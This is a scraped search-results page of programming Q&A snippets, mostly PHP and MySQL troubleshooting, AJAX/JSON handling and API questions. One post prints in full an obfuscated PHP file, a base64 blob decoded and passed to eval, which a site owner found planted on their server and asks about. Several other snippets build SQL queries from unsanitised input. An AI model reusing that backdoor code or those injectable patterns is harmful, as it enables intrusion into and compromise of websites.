Search Results

Search found 76034 results on 3042 pages for 'google api php client'.

Page 313/3042 | < Previous Page | 309 310 311 312 313 314 315 316 317 318 319 320  | Next Page >

• One site being on a subdirectory of another. Does google count this againt you?

  - by Mick

  I have created two similar websites (relating to monetary systems). So far, one appears to be loved by Google and the other hated. I'm struggling to work out why. This is a mystery to me because both sites were created by me with the same design philosophy, both in pure html. Both are packed to the rafters with references to, and information about, their respective subjects. One issue I'm worried may be the cause is to do with the location of the sites. I got a web hosting package from hostmonster.com for the successful one, but less liked one is just an "add-on" which sits on a subdirectory of the successful one. I wonder if Google somehow detects this and treats it as a less significant website? EDIT: Just to clarify, even though one site is an add-on that sits on a subdirectory of the other, the URL is arranged to look like it is a root. I.e. the unpopular site can be accessed directly with a simple www.myunpopularsite.com name, without specifying any subdirectory.

  Read the article

• PHP: MySQL query duplicating update for no reason

  - by ThinkingInBits

  The code below is first the client code, then the class file. For some reason the 'deductTokens()' method is calling twice, thus charging an account double. I've been programming all night, so I may just need a second pair of eyes: if ($action == 'place_order') { if ($_REQUEST['unlimited'] == 200) { $license = 'extended'; } else { $license = 'standard'; } if ($photograph->isValidPhotographSize($photograph_id, $_REQUEST['size_radio'])) { $token_cost = $photograph->getTokenCost($_REQUEST['size_radio'], $_REQUEST['unlimited']); $order = new ImageOrder($_SESSION['user']['id'], $_REQUEST['size_radio'], $license, $token_cost); $order->saveOrder(); $order->deductTokens(); header('location: account.php'); } else { die("Please go back and select a valid photograph size"); } } ######CLASS CODE####### <?php include_once('database_classes.php'); class Order { protected $account_id; protected $cost; protected $license; public function __construct($account_id, $license, $cost) { $this->account_id = $account_id; $this->cost = $cost; $this->license = $license; } } class ImageOrder extends Order { protected $size; public function __construct($account_id, $size, $license, $cost) { $this->size = $size; parent::__construct($account_id, $license, $cost); } public function saveOrder() { //$db = Connect::connect(); //$account_id = $db->real_escape_string($this->account_id); //$size = $db->real_escape_string($this->size); //$license = $db->real_escape_string($this->license); //$cost = $db->real_escape_string($this->cost); } public function deductTokens() { $db = Connect::connect(); $account_id = $db->real_escape_string($this->account_id); $cost = $db->real_escape_string($this->cost); $query = "UPDATE accounts set tokens=tokens-$cost WHERE id=$account_id"; $result = $db->query($query); } } ?> When I die("$query"); directly after the query, it's printing the proper statement, and when I run that query within MySQL it works perfectly.

  Read the article

• how to tackle a custom forms database

  - by Neil Hickman

  I'm currently researching a project for the place that I work in. We are trying to create a system that will allow forms to be set up dynamically from a database. My question is what database structure would best suit something like this? I currently have a structure of: forms_form forms_formfields forms_formdata I don't think this is the most appropriate layout for this. Basically to make is make sense I need to be able to make a form within the database that can have infinite fields all customized and have the data when submitted stored in the database.

  Read the article

• JSON Array Created in PHP/MySQL incorrectly decoded using JQuery

  - by Zak

  I am attempting to make an AJAX call to a very small PHP script that should return me an array that could be echo'd and decoded using JQuery. Here is what I have: My PHP page called to by AJAX: $web_q=mysql_query("select * from sec_u_g where uid='$id' "); $rs = array(); while($rs[] = mysql_fetch_assoc($web_q)) { } print_r(json_encode($rs)); This outputs: [{"id":"3","uid":"39","gid":"16"},{"id":"4","uid":"39","gid":"4"},{"id":"5","uid":"39","gid":"5"},{"id":"6","uid":"39","gid":"6"},{"id":"7","uid":"39","gid":"7"},{"id":"8","uid":"39","gid":"8"},{"id":"9","uid":"39","gid":"9"},false] I don't understand the "false" at the end for one .. But then I send to to JQuery and use: $.each(json.result, function(i, object) { $.each(object, function(property, value) { alert(property + "=" + value); }); }); This just fails. I try to alert "result" by itself which is set by: $.post("get_ug.php",{id:txt},function(result){ }); My output alerts are as follows: 1) The key is '0' and the value is '[' 2) The key is '1' and the value is 'f' 3) The key is '2' and the value is 'a' 4) The key is '3' and the value is 'l' 5) The key is '4' and the value is 's' 6) The key is '5' and the value is 'e' 7) The key is '6' and the value is ']' 8) The key is '7' and the value is ' ' (<-- Yes the line break is there in the alert) I am exhausted from trying different ideas and scripts. Other than setting a delimiter myself and concatenating my own array and decoding it with a custom script, does anyone have any ideas?? Thank you!!

  Read the article

• SELECT SUM PHP MySQL problem

  - by user345426

  This is driving me nuts! Below you will find my PHP/MySQL code but I will post the direct mySQL statement here: SELECT SUM( ot.value ) AS msa FROM orders o LEFT JOIN orders_total ot ON ot.orders_id = o.orders_id WHERE ot.class = 'ot_total' AND UNIX_TIMESTAMP( o.date_purchased ) >=1262332800 AND UNIX_TIMESTAMP( o.date_purchased ) <=1264924800 AND o.sales_rep_id = '2' When I execute this statement inside of phpMyAdmin I get the sum for ot.value which is associated to "msa". Although, when I run my php code it does not return a value. Anyone see the problem? // works in phpMyAdmin but not displaying during PHP execution! $monthly_sales_amount_sql = "SELECT SUM(ot.value) AS msa FROM orders o LEFT JOIN orders_total ot ON ot.orders_id = o.orders_id WHERE ot.class = 'ot_total' AND UNIX_TIMESTAMP(o.date_purchased) >= $start_timestamp AND UNIX_TIMESTAMP(o.date_purchased) <= $end_timestamp AND o.sales_rep_id = '" . $sales_rep_id "'"; $result = mysql_query($monthly_sales_amount_sql); $row = mysql_fetch_assoc($result); echo "MSA: " . $row['msa'] . "<BR><BR>";

  Read the article

• problem in creating a php tree menu

  - by Mac Taylor

  hi mates im writing a tree menu for my categories in php and i wonder how can i code it correctly ! this is my table in database " |----topicid------topicname--------parent | |---- 1 ------ News -------- 0 | |---- 2 ------ sport -------- 1 | |---- 3 ------ games -------- 1 | |---- 4 ------ PES -------- 3 | so now for showing it like a tree i did try but not worked : $result = mysql_query("SELECT * FROM Topics ORDER BY topicid"); while ($row = mysql_fetchrow($result)) { $id = intval($row['topicid']); $title = filter($row['topicname'], "nohtml"); $parent = $row['parent'] ; if ($parent==0) { $menu_item .= "<li><span class='folder'><a title = \"$alt\" href=\"modules.php?name=News&amp;new_topic=$id\">$title</a></span></li>"; }else { $result = mysql_query("SELECT * FROM ".$prefix."_Topics where parent='$id' ORDER BY topicid"); while ($row = mysql_fetchrow($result)) { $id = intval($row['topicid']); $title = filter($row['topicname'], "nohtml"); $parent = $row['parent'] ; $menu_item .= " <ul><li><span class='file'><a title = \"$alt\" href=\"modules.php?name=News&amp;new_topic=$id\">$title</a></span></li></ul>"; } } i dont know how to solve this

  Read the article

• Break a string into parts, returning all characters

  - by Benjamin

  I want to break a string according to the following rules: all consecutive alpha-numeric chars, plus the dot (.) must be treated as one part all other consecutive chars must be treated as one part consecutive combinations of 1 and 2 must be treated as different parts no whitespace must be returned For example this string: Method(hierarchy.of.properties) = ? Should return this array: Array ( [0] => Method [1] => ( [2] => hierarchy.of.properties [3] => ) [4] => = [5] => ? ) I was unsuccessful with preg_split(), as AFAIK it cannot treat the pattern as an element to be returned. Any idea for a simple way to do this?

  Read the article

• How to use google map api key in my Joomla 1.5 article

  - by Aruna

  Hi, I am using Joomla 1.5 . I have generated a google map api key . How to use this key in Joomla article.

  Read the article

• embed multiple youtube videos to chromeless player cue

  - by Quaze

  So in the project ive been working on i use the youtube API to add a video to a chromeless player (got custom buttons, everything works no problems). It loads the youtube id which it gets from the database (Codeigniter, PHP). But what i would like to see is: instead of loading 1 video, id like to add all the videos i get from the database in the cue of that one player. So only one screen, first video retrieved from dbase gets played first, when its done second get loaded preferably also looped. Is there any way i can achieve this? My first guess would be to save the array with youtube id's somewhere and on state change (when the 'video stop'-event gets fired) load the next id from the array. Havent tried this yet because id prefer if the cue gets just gets filled on the init, so it doesnt have to load after a video has been ended. Is This possible?

  Read the article

• Working with PHP and MySQL - need a good and secure design with OO design

  - by Andrew

  I am new to PHP- first time developer. I am working on my web application and it is nearly done; nevertheless, most of my sql was done directly via code using direct mysql requests. This is the way I approached it: In classes_db.php I declared the db settings and created methods that I use to open and close DB connections. I declare those objects on my regular pages: class classes_db { public $dbserver = 'server; public $dbusername = 'user'; public $dbpassword = 'pass'; public $dbname = 'db'; function openDb() { $dbhandle = mysql_connect($this->dbserver, $this->dbusername, $this->dbpassword); if (!$dbhandle) { die('Could not connect: ' . mysql_error()); } $selected = mysql_select_db($this->dbname, $dbhandle) or die("Could not select the database"); return $dbhandle; } function closeDb($con) { mysql_close($con); } } On my regular page, I do this: <?php require 'classes_db.php'; session_start(); //create instance of the DB class $db = new classes_db(); //get dbhandle $dbhandle = $db->openDb(); //process query $result = mysql_query("update user set username = '" . $usernameFromForm . "' where iduser= " . $_SESSION['user']->iduser); //close the connection if (isset($dbhandle)) { $db->closeDb($dbhandle); } ?> My questions is: how to do it right and make it OO and secure? I know that I need incorporate prepared queries- how to do it the best way? Please provide some code

  Read the article

• Paypal credit card validation

  - by Naresh

  Hi all, I want to check that the credit card number provided by customer to my site is valid or not for further transaction. for that i wand to only verify taht the CC no is valid or not by Paypal. A method for that can be with paypal api step 1: DoDirectPayment with PAYMENTACTION=Authorization for amt of $1, then step 2: DoVoid that request Does any one can tell me is any amount is charged by paypal for doing tis stuff? or any other better way you know? My site is in PHP..

  Read the article

• Getting document.getElementsByName from another page PHP/javascript

  - by DarkN3ss

  so i have been looking around on how to do this but with no success. Im trying to get the value of the name test from an external website <input type="hidden" name="test" value="ThisIsAValue" /> But so far i have only found how to get the value of that with an ID <input type="hidden" id="test" name="test" value="ThisIsAValue" autocomplete="off" /> but I need to try find it without a ID is my problem. And this is an example on how to get it from the ID <?php $doc = new DomDocument; $doc->validateOnParse = true; $doc->loadHtml(file_get_contents('http://example.com/bla.php')); var_dump($doc->getElementById('test')); ?> And i have found how to get it from name and NOT ID on the same page <script> function getElements() { var test = document.getElementsByName("test")[0].value; alert(test); } </script> But again I dont know how to get the value of it by name from an external page eg "http://example.com/bla.php", any help? Thanks

  Read the article

• php not well formed?

  - by Idealflip

  Hi Everyone, when my site loads, it stops half way because of specific php code. When I try commenting out the php code, the whole page loads properly (input boxes, buttons etc.) This is the code that causes the issue <?php //if the add location button is clicked, the add location, the whole form will not be submitted if($_REQUEST['command'] == 'Add'){ if($_POST['companyLocation'] == ""){ $errmsg="Please enter a location1"; } elseif($_POST['companySize'] == ""){ $errmsg="Please enter a size for the location"; } else{ $location = Location::instance(); $testing = $location->doesExist($_POST['companyLocation']); if ($testing == true){ $errmsg="Location already exists"; } else{ $objLocation = new Obj_Location(); $objLocation->set_Name($_POST['companyLocation']); $objLocation->set_Size($_POST['companySize']); $location->addLocation($objLocation); $location->saveInstance(); } } } //this is the part that breaks! when I comment it out, the page loads properly. $location = Location::instance(); $location->deleteItem($_GET["item"]); $location->saveInstance(); $location->listItems(); ?>

  Read the article

• Why doesn't this PHP execute?

  - by cam

  I copied the code from this site exactly: http://davidwalsh.name/web-service-php-mysql-xml-json as follows, /* require the user as the parameter */ if(isset($_GET['user']) && intval($_GET['user'])) { /* soak in the passed variable or set our own */ $number_of_posts = isset($_GET['num']) ? intval($_GET['num']) : 10; //10 is the default $format = strtolower($_GET['format']) == 'json' ? 'json' : 'xml'; //xml is the default $user_id = intval($_GET['user']); //no default /* connect to the db */ $link = mysql_connect('localhost','username','password') or die('Cannot connect to the DB'); mysql_select_db('db_name',$link) or die('Cannot select the DB'); /* grab the posts from the db */ $query = "SELECT post_title, guid FROM wp_posts WHERE post_author = $user_id AND post_status = 'publish' ORDER BY ID DESC LIMIT $number_of_posts"; $result = mysql_query($query,$link) or die('Errant query: '.$query); /* create one master array of the records */ $posts = array(); if(mysql_num_rows($result)) { while($post = mysql_fetch_assoc($result)) { $posts[] = array('post'=>$post); } } /* output in necessary format */ if($format == 'json') { header('Content-type: application/json'); echo json_encode(array('posts'=>$posts)); } else { header('Content-type: text/xml'); echo '<posts>'; foreach($posts as $index => $post) { if(is_array($post)) { foreach($post as $key => $value) { echo '<',$key,'>'; if(is_array($value)) { foreach($value as $tag => $val) { echo '<',$tag,'>',htmlentities($val),'</',$tag,'>'; } } echo '</',$key,'>'; } } } echo '</posts>'; } /* disconnect from the db */ @mysql_close($link); } And the php doesn't execute, it just displays as plain text. What's the dealio? The host supports PHP, I use it to run a Wordpress blog and other things.

  Read the article

• How do I get Composer to download the latest commit in the master branch from GitHub for a package?

  - by pthurmond

  I am trying to get Composer do download the latest commit for the Behat/MinkSelenium2Driver package. That particular repo only has a master branch. I have tried every method I can think of, including deleting the files and letting it pull them back in, to get it to work but it doesn't. How would I get it to pull in latest committed files or at least those from the commit I list below? Specifically I want to get this commit: https://github.com/Behat/MinkSelenium2Driver/commit/2e73d8134ec8526b6e742f05c146fec2d5e1b8d6 Thanks, Patrick

  Read the article

• How to get Amazon s3 PHP SDK working?

  - by JakeRow123

  I'm trying to set up s3 for the first time and trying to run the sample file that comes with the PHP sdk that creates a bucket and attempts to upload some demo files to it. But this is the error I am getting: The difference between the request time and the current time is too large. I read on another question on SO that this is because Amazon determines a valid request by comparing the times between the server and the client, that the 2 must be within a 15 min span of one another. Now here is the problem. My laptop's time is 12:30AM June 8, 2012 at the moment. On my server I created a file called servertime.php and placed this code in that file: <?php print strftime('%c'); ?> and the output is: Fri Jun 8 00:31:22 2012 It looks like the day is correct but I don't know what to make of 00:31:22. In any case, how is it possible to always make sure the time between the client and server is within a 15 minute window of one another. What if I have a user in China who wishes to upload a file on my site which uses s3 for the cdn. Then the time difference would be over a day. How can I make sure all my user's times are within 15 minutes of my server time? What if the user is in the U.S. but the time on their machine is misconfigured. Basically how to get s3 bucket creation and upload to work?

  Read the article

• Weird PHP file on my website

  - by sam

  Today i noticed that there was a strange new file called "noivil.php" on my webspace. The contents of it are very long and I have no idea what it does! <?php $k='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';$r='YmFzZTY0X2RlY29kZQ==';$rr='WjNwMWJtTnZiWEJ5WlhOeg==';$rrr=base64_decode($r);$rrrr=$rrr($rrr($rr));eval($rrrr($rrr($k))); When I run it it just outputs some random stuff I don't understand. My questions: What is this? Where did it come from? Is it a virus/trojan? What does it exactly do? You are better at PHP than me, maybe you can tell what it is Thanks in advance

  Read the article

• Which are the best techniques to protect a 'homemade' framework from unlogged visitors?

  - by Hermet

  First of all, I would like to say that I have used the search box looking for a similar question unsuccessfully, maybe because of my poor english skills. The way I currently do this is checking in every single page that a session has been opened. If not, the user gets redirected to a 404 page, to seem like the file which has been requested doesn't exist. I really don't know if this is sure or there's a better and more safety way and I'm currently working with kind of confidential data that should never become public. Could you give me some tips? Or leave a link where I could find some? Thank you very much, and again excuse me for kicking the dictionary.

  Read the article

• jQuery AJAX PHP JSON problem

  - by Curro

  Hi Gurus I'm facing the problem of receiving an empty array when I do an AJAX request in the following way: This is the code I'm executing in JavaScript: <script type="text/javascript" src="lib/jquery.js"></script> <script type="text/javascript" src="lib/jquery.json.js"></script> <script type="text/javascript"> $(document).ready(function(){ /* Preparar JSON para el request */ var mJSON = new Object; mJSON.id_consulta = new Array; for (var i=0; i<3; i++){ mJSON.id_consulta[i] = new Object; mJSON.id_consulta[i].id = i; } var sJSON = $.toJSON(mJSON); $.ajax({ type: "POST", url: "getUbicaciones.php", data: sJSON, dataType: "json", contentType: "application/json; charset=utf-8", success: function(respuesta){ alert(respuesta); }, error: function (request,error){ alert("Error: " + request.statusText + ". " + error); } }); }); </script> And this is the code under PHP: <?php /* Decodificar JSON */ $m_decoded = $_POST; print_r($m_decoded); exit; ?> And all I get from this, using Chrome's Developer Tools is an empty array: Array ( ) Any clues on what am I doing wrong? The string sJSON is being encoded correctly, this is what I get when I do an "alert" on that one: {"id_consulta":[{"id":1},{"id":2},{"id":3}]} Thank you everyone in advance!

  Read the article

• Encrypt correctly caracters in a PHP mail form ("I'm" turns to be "I\'m")

  - by Peanuts

  Hello guys, I'm testing a PHP mail form, a very barebones one, found here: <?php if(isset($_POST['submit'])) { //The form has been submitted, prep a nice thank you message $output = '<h3>Thanks for your message</h3>'; //Deal with the email $to = '[email protected]'; $subject = 'you have a mail'; $contactname = strip_tags($_POST['contactname']); $adress = strip_tags($_POST['adress']); $contactemail = strip_tags($_POST['contactemail']); $textmessage = strip_tags($_POST['textmessage']); $boundary =md5(date('r', time())); $headers = "From: My Site\r\nReply-To: [email protected]"; $message = "Name: ".$contactname."\n"; $message .= "Adress: ".$adress."\n"; $message .= "E-mail: ".$contactemail."\n"; $message .= "Message: ".$textmessage."\n"; mail($to, $subject, $message, $headers); } ?> The problem is I'm receiving an unwanted slash "\" everytime I write a single or a double quote in my message, so "I'm" appear as "I\'m" in my mailbox. I know it have to do with the way PHP distinguishes code quotes from only lecture quotes, but I wouldn't know what to add in my form to get it properly running. Any help is appreciated,

  Read the article

• Upload image from URL to FTP server using PHP

  - by user1807556

  I want to upload a picture from another site to my FTP server using PHP. Example: File to upload("http://page.mi.fu-berlin.de/krudolph/stuff/stackoverflow.png") FTP-path("pictures/") This is what I've already tried: 1 $image = file_get_contents("http://img.youtube.com/vi/Rz8KW4Tveps/1.jpg"); file_put_contents("imgfolder/imgID.jpg", $image); 2 copy('http://img.youtube.com/vi/Rz8KW4Tveps/1.jpg', 'imgfolder/imgID.jpg'); 3 <?php set_time_limit (24 * 60 * 60); if (!isset($_POST['submit'])) die(); $file = fopen ($url, "rb"); if ($file) { $newf = fopen ($newfname, "wb"); if ($newf) while(!feof($file)) { fwrite($newf, fread($file, 1024 * 2000 ), 1024 * 2000 ); } } if ($file) { fclose($file); } if ($newf) { fclose($newf); } ?> 4 http://www.teckdevil.com/php-server-to-server-transfer-script-to-remotely-transfer-files/ 5 (kinda the same as first linked) Download files directly to my server # I don't get any errors when I'm running the scripts and I have chmod the directory to 777.

  Read the article

• How to enable logging for Google Chrome in Ubuntu 12.04?

  - by skytreader

  I'm trying to capture the logs for a certain bug I'm having with Google Chrome. However, I can't find/enable logs for GC. According to this Chromium project page, I just need to add the flags --enable-logging --v=1 and a chrome_debug.log file will appear in my user data directory. However, after running GC (and closing through the 'X' title bar button) there is no chrome_debug.log file in the specified directory. I even tried running as root as it may have something to do with write permissions but GC refuses to start as root. Another thing, GC also prints messages when invoked from command line. I tried capturing this and redirecting them to a file via $ google-chrome > today.log but the messages are still printed in the command line and the file I specify gets created but remains empty. Note that I can't just copy-paste the messages printed on terminal after my bug occurs as the bug freezes up my whole system that, when it occurs, my only option is to turn off my computer straight via the power button. I've seen a few similar bugs already posted but I find that they don't exactly describe my situation so I'd really like to get some logs for this. So how do I enable logging or, at least, get those terminal messages in a file?

  Read the article

• I can't get the MapsDemo that comes with "Google APIs by Google Inc, Android API8, revision 2" to work

  - by Hanspeter Adam

  I have tried everything according to instructions to get the MapsDemo to work on API8. I followed all the certificate signing instructions and all I get is a blank (blue) screen on the emulator. I see that people have been having the same issues but all the suggested solutions boil down to the certificate signing and that has not worked for me. One guy on the Internet even said he got it to work but never said how!!!! So, I thought I'd try the MapsDemo that comes with "Google APIs by Google Inc, Android API7, revision 1". There I saw the map come up on the emulator but only once. That one time it came up clearly and I was able to pan it but after exiting the app and trying it again, it no longer worked. Now all I get is some faint outlines that makes it look like it's trying to work but for some reason is not successful. I am running on Windows Vista Service Pack 2 and using Eclipse Helios. Please help, Hans

  Read the article

• Post valuse and upload Image to php server in android

  - by lawat

  I am trying to upload image from android phone to php server with additional values,the method is post my php file look like this if($_POST['val1']){ if($_POST['val2']){ if($_FILE['image']){ ...... } } }else{ echo "Value not found"; } I am doing is URL url=new URL("http://www/......../myfile.php"); HttpURLConnection con=(HttpURLConnection) url.openConnection(); con.setDoInput(true); con.setDoOutput(true); con.setUseCaches(false); con.setRequestMethod("POST");//Enable http POST con.setRequestProperty("Connection", "Keep-Alive"); con.setRequestProperty("Content-Type", "multipart/form-data;boundary="+"****"); connection.setRequestProperty("uploaded_file", imagefilePath); DataOutputStream ostream = new DataOutputStream( con.getOutputStream()); String res=("Content-Disposition: form-data; name=\"val1\""+val1+"****"+ "Content-Disposition: form-data; name=\"val2\""+val2+"****" "Content-Disposition: form-data; name=\"image\";filename=\"" + imagefilePath +"\""+"****"); outputStream.writeBytes(res); my actual problem is values are not posting so first if condition get false and else section is executed that is it give value not found please help me

  Read the article

• filling colors on a map - PHP

  - by jeremy

  I am trying to determine how to fill colors onto a map - such as the "Risk" board game map. I've done this before with HTML tables, by pulling an HTML color code from a SQL table and then just using it to fill the cell the color I want it. But for a non-square map, I'm not sure where to look. I have created a very simple two color map - its white with black borders. My desired result is having the 'regions' on the map shaded with a color, based on data in a sql table (just like the "fill" button in Paint). This looks like what I need: http://php.net/manual/en/function.imagefilltoborder.php and now.. how to define the borders... At the moment I have tried nothing, because the question was: how do I have PHP fill parts of an image? I have tried making an image in Paint, and then scratching my head wondering how to fill parts of it. Having stumbled upon a link, let me focus this a bit more: It appears that with imagefilltoborder that I can put an image on my server, perhaps one that looks like a black and white version of the RISK map - black borders and white everything else. Some questions: Is it correct that the 'border' variable should use the color of my border (whatever value black is) so that the code can "see" where the border is? Is it correct that I'll just need to figure out X,Y coords to begin the fill? Does this work if I have 10 different spots to fill on the map? Can I use varying colors from code or pulled from SQL to assign different colors to those 10 spots, and use 10 different X,Y coords to get them all?

  Read the article

< Previous Page | 309 310 311 312 313 314 315 316 317 318 319 320  | Next Page >